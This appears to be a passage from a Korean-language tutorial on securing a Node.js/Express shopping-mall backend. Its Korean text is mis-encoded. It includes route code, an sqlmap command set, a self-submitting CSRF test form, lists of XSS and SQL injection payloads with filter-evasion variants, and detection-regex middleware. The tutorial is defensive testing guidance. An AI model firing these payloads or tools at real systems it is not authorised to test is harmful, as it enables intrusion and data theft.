email: {
type: DataTypes.STRING,
allowNull: false,
unique: true,
validate: {
isEmail: true
}
},
password: {
type: DataTypes.STRING,
allowNull: false
},
name: {
type: DataTypes.STRING,
allowNull: false,
validate: {
len: [2, 50]
}
},
role: {
type: DataTypes.ENUM('user', 'admin'),
defaultValue: 'user'
}
}, {
hooks: {
// ๋น๋ฐ๋ฒํธ ์ ์ฅ ์ ํด์ฑ
beforeCreate: async (user) => {
if (user.password) {
const salt = await bcrypt.genSalt(10);
user.password = await bcrypt.hash(user.password, salt);
}
},
beforeUpdate: async (user) => {
if (user.changed('password')) {
const salt = await bcrypt.genSalt(10);
user.password = await bcrypt.hash(user.password, salt);
}
}
}
});
// ๋น๋ฐ๋ฒํธ ๊ฒ์ฆ ๋ฉ์๋
User.prototype.validatePassword = async function(password) {
return await bcrypt.compare(password, this.password);
};
// ๋ฏผ๊ฐํ ์ ๋ณด ์ ์ธํ๊ณ ๋ฐํ
User.prototype.toJSON = function() {
const values = Object.assign({}, this.get());
delete values.password;
return values;
};
module.exports = User;
const { DataTypes } = require('sequelize');
const sequelize = require('../config/database');
const Product = sequelize.define('Product', {
id: {
type: DataTypes.INTEGER,
primaryKey: true,
autoIncrement: true
},
name: {
type: DataTypes.STRING,
allowNull: false,
validate: {
len: [2, 100]
}
},
price: {
type: DataTypes.DECIMAL(10, 2),
allowNull: false,
validate: {
min: 0
}
},
category: {
type: DataTypes.STRING,
allowNull: false
},
description: {
type: DataTypes.TEXT,
validate: {
len: [0, 1000]
}
},
stock: {
type: DataTypes.INTEGER,
defaultValue: 0,
validate: {
min: 0
}
},
imageUrl: {
type: DataTypes.STRING
}
});
module.exports = Product;
const { DataTypes } = require('sequelize');
const sequelize = require('../config/database');
const Order = sequelize.define('Order', {
id: {
type: DataTypes.INTEGER,
primaryKey: true,
autoIncrement: true
},
userId: {
type: DataTypes.INTEGER,
allowNull: false,
references: {
model: 'Users',
key: 'id'
}
},
productId: {
type: DataTypes.INTEGER,
allowNull: false,
references: {
model: 'Products',
key: 'id'
}
},
quantity: {
type: DataTypes.INTEGER,
allowNull: false,
validate: {
min: 1
}
},
totalPrice: {
type: DataTypes.DECIMAL(10, 2),
allowNull: false
},
shippingAddress: {
type: DataTypes.STRING,
allowNull: false
},
status: {
type: DataTypes.ENUM('pending', 'paid', 'shipped', 'delivered', 'cancelled'),
defaultValue: 'pending'
}
});
module.exports = Order;
const express = require('express');
const router = express.Router();
const Product = require('../models/Product');
const { sanitizeHtmlContent } = require('../middleware/sanitize');
const { productValidation, searchValidation } = require('../middleware/validation');
const { csrfProtection } = require('../middleware/csrf');
// โ
์ํ ๋ชฉ๋ก ์กฐํ (์์ ํ ํ์ด์ง)
router.get('/', searchValidation, async (req, res) => {
try {
const page = parseInt(req.query.page) || 1;
const limit = 20;
const offset = (page - 1) * limit;
const { count, rows } = await Product.findAndCountAll({
limit,
offset,
order: [['createdAt', 'DESC']]
});
res.json({
products: rows,
totalPages: Math.ceil(count / limit),
currentPage: page
});
} catch (error) {
console.error('Product list error:', error);
res.status(500).json({ error: '์ํ ๋ชฉ๋ก์ ๋ถ๋ฌ์ฌ ์ ์์ต๋๋ค' });
}
});
// โ
์ํ ๊ฒ์ (SQL Injection ๋ฐฉ์ด)
router.get('/search', searchValidation, async (req, res) => {
try {
const keyword = req.query.q;
const category = req.query.category;
const whereClause = {};
if (keyword) {
whereClause.name = {
[sequelize.Op.like]: `%${keyword}%`
};
}
if (category) {
whereClause.category = category;
}
const products = await Product.findAll({
where: whereClause,
limit: 50
});
res.json(products);
} catch (error) {
console.error('Search error:', error);
res.status(500).json({ error: '๊ฒ์ ์ค ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค' });
}
});
// โ
์ํ ์์ธ ์กฐํ
router.get('/:id', async (req, res) => {
try {
const productId = parseInt(req.params.id);
if (isNaN(productId) || productId <= 0) {
return res.status(400).json({ error: '์ ํจํ์ง ์์ ์ํ ID์
๋๋ค' });
}
const product = await Product.findByPk(productId);
if (!product) {
return res.status(404).json({ error: '์ํ์ ์ฐพ์ ์ ์์ต๋๋ค' });
}
res.json(product);
} catch (error) {
console.error('Product detail error:', error);
res.status(500).json({ error: '์ํ ์ ๋ณด๋ฅผ ๋ถ๋ฌ์ฌ ์ ์์ต๋๋ค' });
}
});
// โ
์ํ ๋ฑ๋ก (๊ด๋ฆฌ์ ์ ์ฉ, CSRF ๋ณดํธ)
router.post('/',
csrfProtection,
productValidation,
async (req, res) => {
try {
// ๊ด๋ฆฌ์ ๊ถํ ํ์ธ
if (req.user.role !== 'admin') {
return res.status(403).json({ error: '๊ถํ์ด ์์ต๋๋ค' });
}
const { name, price, category, description } = req.body;
// XSS ๋ฐฉ์ด: HTML ์๋ํ์ด์ฆ
const sanitizedDescription = sanitizeHtmlContent(description);
const product = await Product.create({
name,
price,
category,
description: sanitizedDescription
});
res.status(201).json(product);
} catch (error) {
console.error('Product creation error:', error);
res.status(500).json({ error: '์ํ ๋ฑ๋ก ์ค ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค' });
}
}
);
// โ
์ํ ์์ (๊ด๋ฆฌ์ ์ ์ฉ, CSRF ๋ณดํธ)
router.put('/:id',
csrfProtection,
productValidation,
async (req, res) => {
try {
if (req.user.role !== 'admin') {
return res.status(403).json({ error: '๊ถํ์ด ์์ต๋๋ค' });
}
const productId = parseInt(req.params.id);
const { name, price, category, description } = req.body;
const product = await Product.findByPk(productId);
if (!product) {
return res.status(404).json({ error: '์ํ์ ์ฐพ์ ์ ์์ต๋๋ค' });
}
const sanitizedDescription = sanitizeHtmlContent(description);
await product.update({
name,
price,
category,
description: sanitizedDescription
});
res.json(product);
} catch (error) {
console.error('Product update error:', error);
res.status(500).json({ error: '์ํ ์์ ์ค ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค' });
}
}
);
module.exports = router;
const express = require('express');
const router = express.Router();
const Order = require('../models/Order');
const Product = require('../models/Product');
const { orderValidation } = require('../middleware/validation');
const { csrfProtection } = require('../middleware/csrf');
const { requireAuth } = require('../middleware/auth');
// โ
์ฃผ๋ฌธ ์์ฑ (CSRF ๋ณดํธ + ํธ๋์ญ์
)
router.post('/',
requireAuth,
csrfProtection,
orderValidation,
async (req, res) => {
const t = await sequelize.transaction();
try {
const { productId, quantity, shippingAddress } = req.body;
const userId = req.user.id;
// ์ํ ์ ๋ณด ์กฐํ (๋ฝ ๊ฑธ๊ธฐ)
const product = await Product.findByPk(productId, {
lock: t.LOCK.UPDATE,
transaction: t
});
if (!product) {
await t.rollback();
return res.status(404).json({ error: '์ํ์ ์ฐพ์ ์ ์์ต๋๋ค' });
}
// ์ฌ๊ณ ํ์ธ
if (product.stock < quantity) {
await t.rollback();
return res.status(400).json({ error: '์ฌ๊ณ ๊ฐ ๋ถ์กฑํฉ๋๋ค' });
}
// ์ด ๊ฐ๊ฒฉ ๊ณ์ฐ
const totalPrice = product.price * quantity;
// ์ฃผ๋ฌธ ์์ฑ
const order = await Order.create({
userId,
productId,
quantity,
totalPrice,
shippingAddress
}, { transaction: t });
// ์ฌ๊ณ ์ฐจ๊ฐ
await product.update({
stock: product.stock - quantity
}, { transaction: t });
await t.commit();
res.status(201).json(order);
} catch (error) {
await t.rollback();
console.error('Order creation error:', error);
res.status(500).json({ error: '์ฃผ๋ฌธ ์ฒ๋ฆฌ ์ค ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค' });
}
}
);
// โ
๋ด ์ฃผ๋ฌธ ๋ชฉ๋ก ์กฐํ
router.get('/my-orders', requireAuth, async (req, res) => {
try {
const orders = await Order.findAll({
where: { userId: req.user.id },
include: [
{
model: Product,
attributes: ['name', 'price', 'imageUrl']
}
],
order: [['createdAt', 'DESC']]
});
res.json(orders);
} catch (error) {
console.error('Order list error:', error);
res.status(500).json({ error: '์ฃผ๋ฌธ ๋ชฉ๋ก์ ๋ถ๋ฌ์ฌ ์ ์์ต๋๋ค' });
}
});
// โ
์ฃผ๋ฌธ ์์ธ ์กฐํ
router.get('/:id', requireAuth, async (req, res) => {
try {
const orderId = parseInt(req.params.id);
if (isNaN(orderId)) {
return res.status(400).json({ error: '์ ํจํ์ง ์์ ์ฃผ๋ฌธ ID์
๋๋ค' });
}
const order = await Order.findOne({
where: {
id: orderId,
userId: req.user.id // ๋ณธ์ธ ์ฃผ๋ฌธ๋ง ์กฐํ ๊ฐ๋ฅ
},
include: [Product]
});
if (!order) {
return res.status(404).json({ error: '์ฃผ๋ฌธ์ ์ฐพ์ ์ ์์ต๋๋ค' });
}
res.json(order);
} catch (error) {
console.error('Order detail error:', error);
res.status(500).json({ error: '์ฃผ๋ฌธ ์ ๋ณด๋ฅผ ๋ถ๋ฌ์ฌ ์ ์์ต๋๋ค' });
}
});
// โ
์ฃผ๋ฌธ ์ทจ์ (CSRF ๋ณดํธ)
router.post('/:id/cancel',
requireAuth,
csrfProtection,
async (req, res) => {
const t = await sequelize.transaction();
try {
const orderId = parseInt(req.params.id);
const order = await Order.findOne({
where: {
id: orderId,
userId: req.user.id
},
transaction: t,
lock: t.LOCK.UPDATE
});
if (!order) {
await t.rollback();
return res.status(404).json({ error: '์ฃผ๋ฌธ์ ์ฐพ์ ์ ์์ต๋๋ค' });
}
// ์ด๋ฏธ ๋ฐฐ์ก๋ ์ฃผ๋ฌธ์ ์ทจ์ ๋ถ๊ฐ
if (['shipped', 'delivered'].includes(order.status)) {
await t.rollback();
return res.status(400).json({ error: '๋ฐฐ์ก ์ค์ด๊ฑฐ๋ ์๋ฃ๋ ์ฃผ๋ฌธ์ ์ทจ์ํ ์ ์์ต๋๋ค' });
}
// ์ฃผ๋ฌธ ์ทจ์
await order.update({ status: 'cancelled' }, { transaction: t });
// ์ฌ๊ณ ๋ณต๊ตฌ
const product = await Product.findByPk(order.productId, { transaction: t });
await product.update({
stock: product.stock + order.quantity
}, { transaction: t });
await t.commit();
res.json({ message: '์ฃผ๋ฌธ์ด ์ทจ์๋์์ต๋๋ค' });
} catch (error) {
await t.rollback();
console.error('Order cancellation error:', error);
res.status(500).json({ error: '์ฃผ๋ฌธ ์ทจ์ ์ค ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค' });
}
}
);
module.exports = router;
const express = require('express');
const session = require('express-session');
const { securityHeaders, limiter } = require('./config/security');
const { cookieParser, csrfProtection, generateToken, csrfErrorHandler } = require('./middleware/csrf');
const { sanitizeInput } = require('./middleware/sanitize');
const app = express();
// ๋ณด์ ํค๋ ์ค์
app.use(securityHeaders);
// Rate Limiting
app.use('/api/', limiter);
// Body Parser
app.use(express.json({ limit: '10mb' }));
app.use(express.urlencoded({ extended: true, limit: '10mb' }));
// Cookie Parser
app.use(cookieParser());
// ์ธ์
์ค์
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 24 * 60 * 60 * 1000 // 24์๊ฐ
}
}));
// CSRF ๋ณดํธ
app.use(csrfProtection);
app.use(generateToken);
// XSS ๋ฐฉ์ด (์
๋ ฅ ์๋ํ์ด์ ์ด์
)
app.use(sanitizeInput);
// ๋ผ์ฐํธ
app.use('/api/products', require('./routes/products'));
app.use('/api/orders', require('./routes/orders'));
app.use('/api/auth', require('./routes/auth'));
// CSRF ํ ํฐ ์ ๊ณต ์๋ํฌ์ธํธ
app.get('/api/csrf-token', (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// CSRF ์๋ฌ ํธ๋ค๋ฌ
app.use(csrfErrorHandler);
// ์ ์ญ ์๋ฌ ํธ๋ค๋ฌ
app.use((err, req, res, next) => {
console.error('Error:', err);
if (process.env.NODE_ENV === 'production') {
res.status(500).json({ error: '์๋ฒ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค' });
} else {
res.status(500).json({
error: err.message,
stack: err.stack
});
}
});
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});
module.exports = app;
import { useState, useEffect } from 'react';
function ProductForm() {
const [csrfToken, setCsrfToken] = useState('');
// CSRF ํ ํฐ ๊ฐ์ ธ์ค๊ธฐ
useEffect(() => {
fetch('/api/csrf-token')
.then(res => res.json())
.then(data => setCsrfToken(data.csrfToken));
}, []);
const handleSubmit = async (e) => {
e.preventDefault();
const formData = {
name: e.target.name.value,
price: e.target.price.value,
category: e.target.category.value
};
try {
const response = await fetch('/api/products', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken // CSRF ํ ํฐ ํฌํจ
},
body: JSON.stringify(formData)
});
if (response.ok) {
alert('์ํ์ด ๋ฑ๋ก๋์์ต๋๋ค!');
}
} catch (error) {
console.error('Error:', error);
}
};
return (
<form onSubmit={handleSubmit}>
<input type="text" name="name" required />
<input type="number" name="price" required />
<select name="category" required>
<option value="electronics">์ ์์ ํ</option>
<option value="fashion">ํจ์
</option>
</select>
<button type="submit">๋ฑ๋ก</button>
</form>
);
}
// CSRF ํ ํฐ์ meta ํ๊ทธ์์ ๊ฐ์ ธ์ค๊ธฐ
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// ๋ชจ๋ AJAX ์์ฒญ์ ์๋์ผ๋ก CSRF ํ ํฐ ํฌํจ
fetch('/api/orders', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken
},
body: JSON.stringify({
productId: 123,
quantity: 2,
shippingAddress: '์์ธ์ ๊ฐ๋จ๊ตฌ...'
})
})
.then(response => response.json())
.then(data => console.log('Success:', data))
.catch(error => console.error('Error:', error));
๐ ๋ณด์ ํ ์คํธ ๋ฐ ๋ชจ๋ํฐ๋ง
์ฝ๋๋ฅผ ์์ฑํ๋ค๋ฉด ์ค์ ๋ก ์์ ํ์ง ํ
์คํธํด๋ด์ผ๊ฒ ์ง?
์ฌ๋ฌ ๊ฐ์ง ๋๊ตฌ์ ๋ฐฉ๋ฒ์ ์ฌ์ฉํด์ ๋ณด์ ์ทจ์ฝ์ ์ ์ฐพ์๋ณด์! ๐
1. OWASP ZAP (Zed Attack Proxy)
๋ฌด๋ฃ ์คํ์์ค ๋ณด์ ์ค์บ๋์ผ. ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ทจ์ฝ์ ์ ์๋์ผ๋ก ์ฐพ์์ค.
# Docker๋ก ZAP ์คํ
docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap.sh \
-daemon -host 0.0.0.0 -port 8080 -config api.disablekey=true
# ์ค์บ ์์
curl "http://localhost:8080/JSON/spider/action/scan/?url=http://your-shop.com"
# ์ค์บ ๊ฒฐ๊ณผ ํ์ธ
curl "http://localhost:8080/JSON/core/view/alerts/"
2. Burp Suiteํ๋กํ์ ๋ํ ๋ณด์ ํ ์คํธ ๋๊ตฌ. ๋ฌด๋ฃ Community Edition๋ ์์ด!
3. SQLMap
SQL Injection ์ทจ์ฝ์ ์ ์๋์ผ๋ก ์ฐพ๊ณ ๊ณต๊ฒฉํ๋ ๋๊ตฌ.
# ๊ธฐ๋ณธ ์ค์บ
sqlmap -u "http://shop.com/product?id=1"
# POST ์์ฒญ ํ
์คํธ
sqlmap -u "http://shop.com/login" --data="email=test&password=test"
# ์ฟ ํค ํฌํจ ํ
์คํธ
sqlmap -u "http://shop.com/profile" --cookie="session=abc123"
# ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๋ณด ์ถ์ถ ์๋
sqlmap -u "http://shop.com/product?id=1" --dbs
4. XSStrikeXSS ์ทจ์ฝ์ ์ ์ฐพ๋ ์ ๋ฌธ ๋๊ตฌ.
# ์ค์น
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
# ์ค์บ ์คํ
python xsstrike.py -u "http://shop.com/search?q=test"
์๋ํ ๋๊ตฌ๋ ์ข์ง๋ง, ์๋์ผ๋ก ์ง์ ํ ์คํธํ๋ ๊ฒ๋ ์ค์ํด!
CSRF ํ ์คํธ
1. ๋ก๊ทธ์ธํ ์ํ์์ ๊ฐ๋ฐ์ ๋๊ตฌ ์ด๊ธฐ
2. CSRF ํ ํฐ ์ ๊ฑฐํ๊ณ ์์ฒญ ๋ณด๋ด๊ธฐ
3. 403 ์๋ฌ๊ฐ ๋์ค๋ฉด ์ฑ๊ณต! โ
<!-- ์
์ฑ ์ฌ์ดํธ ์๋ฎฌ๋ ์ด์
-->
<html>
<body>
<form action="http://your-shop.com/api/orders" method="POST">
<input type="hidden" name="productId" value="1" />
<input type="hidden" name="quantity" value="100" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
<!-- ์ด ํ์ด์ง๋ฅผ ์ด์์ ๋ ์๋์ผ๋ก ์ฃผ๋ฌธ์ด ์์ฑ๋๋ฉด CSRF ์ทจ์ฝ! -->
XSS ํ
์คํธ๋ค์ํ XSS ํ์ด๋ก๋๋ฅผ ์ ๋ ฅํด๋ณด๊ธฐ:
<!-- ๊ธฐ๋ณธ ์คํฌ๋ฆฝํธ -->
<script>alert('XSS')</script>
<!-- ์ด๋ฏธ์ง ํ๊ทธ -->
<img src=x onerror=alert('XSS')>
<!-- ์ด๋ฒคํธ ํธ๋ค๋ฌ -->
<body onload=alert('XSS')>
<!-- SVG -->
<svg onload=alert('XSS')>
<!-- ์ธ์ฝ๋ฉ ์ฐํ -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- ๋์๋ฌธ์ ํผํฉ -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- ๊ณต๋ฐฑ ๋ฌธ์ ์ฝ์
-->
<img src=x onerror="alert('XSS')">
<!-- HTML ์ํฐํฐ -->
<img src=x onerror="alert('XSS')">
SQL Injection ํ
์คํธ๋ค์ํ SQL Injection ํ์ด๋ก๋ ์๋:
-- ๊ธฐ๋ณธ ํ
์คํธ
' OR '1'='1
" OR "1"="1
' OR 1=1--
" OR 1=1--
-- UNION ๊ณต๊ฒฉ
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT username, password FROM users--
-- ์๊ฐ ๊ธฐ๋ฐ Blind
' AND SLEEP(5)--
'; WAITFOR DELAY '00:00:05'--
-- Boolean ๊ธฐ๋ฐ Blind
' AND 1=1--
' AND 1=2--
-- ์ฃผ์ ์ฐํ
'/**/OR/**/1=1--
'/**/UNION/**/SELECT/**/NULL--
-- ์ธ์ฝ๋ฉ ์ฐํ
%27%20OR%201=1--
' OR 1=1--
name: Security Scan
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main ]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
# ์์กด์ฑ ์ทจ์ฝ์ ์ค์บ
- name: Run npm audit
run: npm audit --audit-level=moderate
# SAST (์ ์ ๋ถ์)
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
# ์ฝ๋ ํ์ง ๊ฒ์ฌ
- name: Run ESLint Security Plugin
run: |
npm install eslint-plugin-security
npx eslint . --ext .js --plugin security
# ์ํฌ๋ฆฟ ์ค์บ
- name: GitLeaks Scan
uses: zricethezav/gitleaks-action@master
# OWASP Dependency Check
- name: OWASP Dependency Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'shopping-mall'
path: '.'
format: 'HTML'
# ๊ฒฐ๊ณผ ์
๋ก๋
- name: Upload Results
uses: actions/upload-artifact@v2
with:
name: security-reports
path: reports/
{
"scripts": {
"security:audit": "npm audit --audit-level=moderate",
"security:fix": "npm audit fix",
"security:check": "snyk test",
"security:monitor": "snyk monitor",
"lint:security": "eslint . --ext .js --plugin security",
"test:security": "npm run security:audit && npm run lint:security"
},
"devDependencies": {
"eslint": "^8.0.0",
"eslint-plugin-security": "^1.7.0",
"snyk": "^1.800.0"
}
}
๋ณด์์ ํ ๋ฒ ์ค์ ํ๊ณ ๋์ด ์๋์ผ. ์ง์์ ์ผ๋ก ๋ชจ๋ํฐ๋งํ๊ณ ๋ก๊ทธ๋ฅผ ๋ถ์ํด์ผ ํด! ๐
const winston = require('winston');
const DailyRotateFile = require('winston-daily-rotate-file');
// ๋ณด์ ์ด๋ฒคํธ ๋ก๊ฑฐ
const securityLogger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
transports: [
// ์ผ๋ฐ ๋ณด์ ๋ก๊ทธ
new DailyRotateFile({
filename: 'logs/security-%DATE%.log',
datePattern: 'YYYY-MM-DD',
maxSize: '20m',
maxFiles: '30d'
}),
// ์ค์ ๋ณด์ ์ด๋ฒคํธ
new DailyRotateFile({
filename: 'logs/security-critical-%DATE%.log',
datePattern: 'YYYY-MM-DD',
level: 'error',
maxSize: '20m',
maxFiles: '90d'
})
]
});
// ๋ณด์ ์ด๋ฒคํธ ๋ก๊น
๋ฏธ๋ค์จ์ด
const logSecurityEvent = (eventType, severity = 'info') => {
return (req, res, next) => {
const logData = {
eventType,
severity,
timestamp: new Date().toISOString(),
ip: req.ip,
userAgent: req.get('user-agent'),
url: req.originalUrl,
method: req.method,
userId: req.user?.id,
sessionId: req.sessionID
};
if (severity === 'error' || severity === 'critical') {
securityLogger.error(logData);
} else {
securityLogger.info(logData);
}
next();
};
};
// ์คํจํ ๋ก๊ทธ์ธ ์๋ ๋ก๊น
const logFailedLogin = (email, ip) => {
securityLogger.warn({
eventType: 'FAILED_LOGIN',
email,
ip,
timestamp: new Date().toISOString()
});
};
// SQL Injection ์๋ ๊ฐ์ง
const detectSQLInjection = (req, res, next) => {
const suspiciousPatterns = [
/(\%27)|(\')|(\-\-)|(\%23)|(#)/i,
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i,
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/i,
/union.*select/i,
/insert.*into/i,
/delete.*from/i,
/drop.*table/i
];
const checkInput = (input) => {
return suspiciousPatterns.some(pattern => pattern.test(input));
};
// Query ํ๋ผ๋ฏธํฐ ๊ฒ์ฌ
for (const key in req.query) {
if (checkInput(req.query[key])) {
securityLogger.error({
eventType: 'SQL_INJECTION_ATTEMPT',
severity: 'critical',
ip: req.ip,
url: req.originalUrl,
parameter: key,
value: req.query[key]
});
return res.status(403).json({ error: '์ ํจํ์ง ์์ ์์ฒญ์
๋๋ค' });
}
}
// Body ํ๋ผ๋ฏธํฐ ๊ฒ์ฌ
for (const key in req.body) {
if (typeof req.body[key] === 'string' && checkInput(req.body[key])) {
securityLogger.error({
eventType: 'SQL_INJECTION_ATTEMPT',
severity: 'critical',
ip: req.ip,
url: req.originalUrl,
parameter: key
});
return res.status(403).json({ error: '์ ํจํ์ง ์์ ์์ฒญ์
๋๋ค' });
}
}
next();
};
// XSS ์๋ ๊ฐ์ง
const detectXSS = (req, res, next) => {
const xssPatterns = [
/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
/javascript:/gi,
/on\w+\s*=/gi,
/<iframe/gi,
/<object/gi,
/<embed/gi
];
const checkInput = (input) => {
return xssPatterns.some(pattern => pattern.test(input));
};
for (const key in req.body) {
if (typeof req.body[key] === 'string' && checkInput(req.body[key])) {
securityLogger.error({
eventType: 'XSS_ATTEMPT',
severity: 'critical',
ip: req.ip,
url: req.originalUrl,
parameter: key
});
return res.status(403).json({ error: '์ ํจํ์ง ์์ ์์ฒญ์
๋๋ค' });
}
}
next();
};
module.exports = {
securityLogger,
logSecurityEvent,
logFailedLogin,
detectSQLInjection,
detectXSS
};
const fs = require('fs');
const readline = require('readline');
// ๋ณด์ ๋ก๊ทธ ๋ถ์
async function analyzeSecurityLogs(logFile) {
const fileStream = fs.createReadStream(logFile);
const rl = readline.createInterface({
input: fileStream,
crlfDelay: Infinity
});
const stats = {
totalEvents: 0,
failedLogins: 0,
sqlInjectionAttempts: 0,
xssAttempts: 0,
csrfViolations: 0,
suspiciousIPs: new Map()
};
for await (const line of rl) {
try {
const log = JSON.parse(line);
stats.totalEvents++;
switch (log.eventType) {
case 'FAILED_LOGIN':
stats.failedLogins++;
break;
case 'SQL_INJECTION_ATTEMPT':
stats.sqlInjectionAttempts++;
break;
case 'XSS_ATTEMPT':
stats.xssAttempts++;
break;
case 'CSRF_VIOLATION':
stats.csrfViolations++;
break;
}
// ์์ฌ์ค๋ฌ์ด IP ์ถ์
if (log.severity === 'critical' || log.severity === 'error') {
const count = stats.suspiciousIPs.get(log.ip) || 0;
stats.suspiciousIPs.set(log.ip, count + 1);
}
} catch (error) {
// ํ์ฑ ์๋ฌ ๋ฌด์
}
}
// ๊ฒฐ๊ณผ ์ถ๋ ฅ
console.log('=== ๋ณด์ ๋ก๊ทธ ๋ถ์ ๊ฒฐ๊ณผ ===');
console.log(`์ด ์ด๋ฒคํธ: ${stats.totalEvents}`);
console.log(`์คํจํ ๋ก๊ทธ์ธ: ${stats.failedLogins}`);
console.log(`SQL Injection ์๋: ${stats.sqlInjectionAttempts}`);
console.log(`XSS ์๋: ${stats.xssAttempts}`);
console.log(`CSRF ์๋ฐ: ${stats.csrfViolations}`);
console.log('\n=== ์์ฌ์ค๋ฌ์ด IP (์์ 10๊ฐ) ===');
const sortedIPs = [...stats.suspiciousIPs.entries()]
.sort((a, b) => b[1] - a[1])
.slice(0, 10);
sortedIPs.forEach(([ip, count]) => {
console.log(`${ip}: ${count}ํ`);
});
// ์ฐจ๋จ์ด ํ์ํ IP ๋ชฉ๋ก
const ipsToBlock = sortedIPs
.filter(([ip, count]) => count > 10)
.map(([ip]) => ip);
if (ipsToBlock.length > 0) {
console.log('\nโ ๏ธ ์ฐจ๋จ ๊ถ์ฅ IP:');
ipsToBlock.forEach(ip => console.log(` - ${ip}`));
}
}
// ์ค์๊ฐ ๋ชจ๋ํฐ๋ง
function monitorSecurityLogs(logFile) {
const tail = require('tail').Tail;
const logTail = new tail(logFile);
logTail.on('line', (line) => {
try {
const log = JSON.parse(line);
// ์ค์ ์ด๋ฒคํธ ์๋ฆผ
if (log.severity === 'critical') {
console.log('๐จ ์ค์ ๋ณด์ ์ด๋ฒคํธ ๋ฐ์!');
console.log(JSON.stringify(log, null, 2));
// ์ฌ๊ธฐ์ Slack, Email ๋ฑ์ผ๋ก ์๋ฆผ ์ ์ก
sendAlert(log);
}
} catch (error) {
// ํ์ฑ ์๋ฌ ๋ฌด์
}
});
console.log(`์ค์๊ฐ ๋ชจ๋ํฐ๋ง ์์: ${logFile}`);
}
// ์๋ฆผ ์ ์ก (์์)
async function sendAlert(log) {
// Slack Webhook ์์
const webhookUrl = process.env.SLACK_WEBHOOK_URL;
if (webhookUrl) {
await fetch(webhookUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
text: `๐จ ๋ณด์ ๊ฒฝ๊ณ : ${log.eventType}`,
attachments: [{
color: 'danger',
fields: [
{ title: 'IP', value: log.ip, short: true },
{ title: 'URL', value: log.url, short: true },
{ title: '์๊ฐ', value: log.timestamp, short: false }
]
}]
})
});
}
}
module.exports = {
analyzeSecurityLogs,
monitorSecurityLogs
};
๐ ๋ณด์ ๋ฒ ์คํธ ํ๋ํฐ์ค ๋ฐ ์ฒดํฌ๋ฆฌ์คํธ
| ๋จ๊ณ | ์ฒดํฌ ํญ๋ชฉ | ์ฐ์ ์์ |
|---|---|---|
| ์ค๊ณ | ๋ณด์ ์๊ตฌ์ฌํญ ์ ์, ์ํ ๋ชจ๋ธ๋ง | ๐ด ๋์ |
| ๊ฐ๋ฐ | Prepared Statement ์ฌ์ฉ, ์ ๋ ฅ ๊ฒ์ฆ, ์ถ๋ ฅ ์ธ์ฝ๋ฉ | ๐ด ๋์ |
| ํ ์คํธ | ๋ณด์ ์ค์บ, ์นจํฌ ํ ์คํธ, ์ฝ๋ ๋ฆฌ๋ทฐ | ๐ก ์ค๊ฐ |
| ๋ฐฐํฌ | HTTPS ์ค์ , ๋ณด์ ํค๋, ๋ฐฉํ๋ฒฝ ์ค์ | ๐ด ๋์ |
| ์ด์ | ๋ก๊ทธ ๋ชจ๋ํฐ๋ง, ์ ๊ธฐ ์ ๋ฐ์ดํธ, ๋ฐฑ์ | ๐ก ์ค๊ฐ |
- โ๏ธ ๋ชจ๋ ์ํ ๋ณ๊ฒฝ ์์ฒญ์ CSRF ํ ํฐ ์ ์ฉ
- โ๏ธ GET ์์ฒญ์ผ๋ก๋ ๋ฐ์ดํฐ ๋ณ๊ฒฝ ๊ธ์ง
- โ๏ธ SameSite ์ฟ ํค ์์ฑ 'Lax' ์ด์ ์ค์
- โ๏ธ ์ค์ ์์ ์ ์ฌ์ธ์ฆ ์๊ตฌ
- โ๏ธ Referer ํค๋ ๊ฒ์ฆ (๋ณด์กฐ ์๋จ)
- โ๏ธ CORS ์ ์ฑ ์ฌ๋ฐ๋ฅด๊ฒ ์ค์
- โ๏ธ ํ ํฐ ๋ง๋ฃ ์๊ฐ ์ค์
- โ๏ธ ํ๋ ์์ํฌ ๋ด์ฅ CSRF ๋ณดํธ ๊ธฐ๋ฅ ํ์ฉ
- โ๏ธ ๋ชจ๋ ์ฌ์ฉ์ ์ ๋ ฅ ๊ฒ์ฆ ๋ฐ ์๋ํ์ด์ ์ด์
- โ๏ธ ์ถ๋ ฅ ์ ํญ์ ์ด์ค์ผ์ดํ ์ฒ๋ฆฌ
- โ๏ธ innerHTML ๋์ textContent ์ฌ์ฉ
- โ๏ธ CSP ํค๋ ์ค์
- โ๏ธ HttpOnly ์ฟ ํค ํ๋๊ทธ ์ฌ์ฉ
- โ๏ธ ํ ํ๋ฆฟ ์์ง์ ์๋ ์ด์ค์ผ์ดํ ๊ธฐ๋ฅ ํ์ฉ
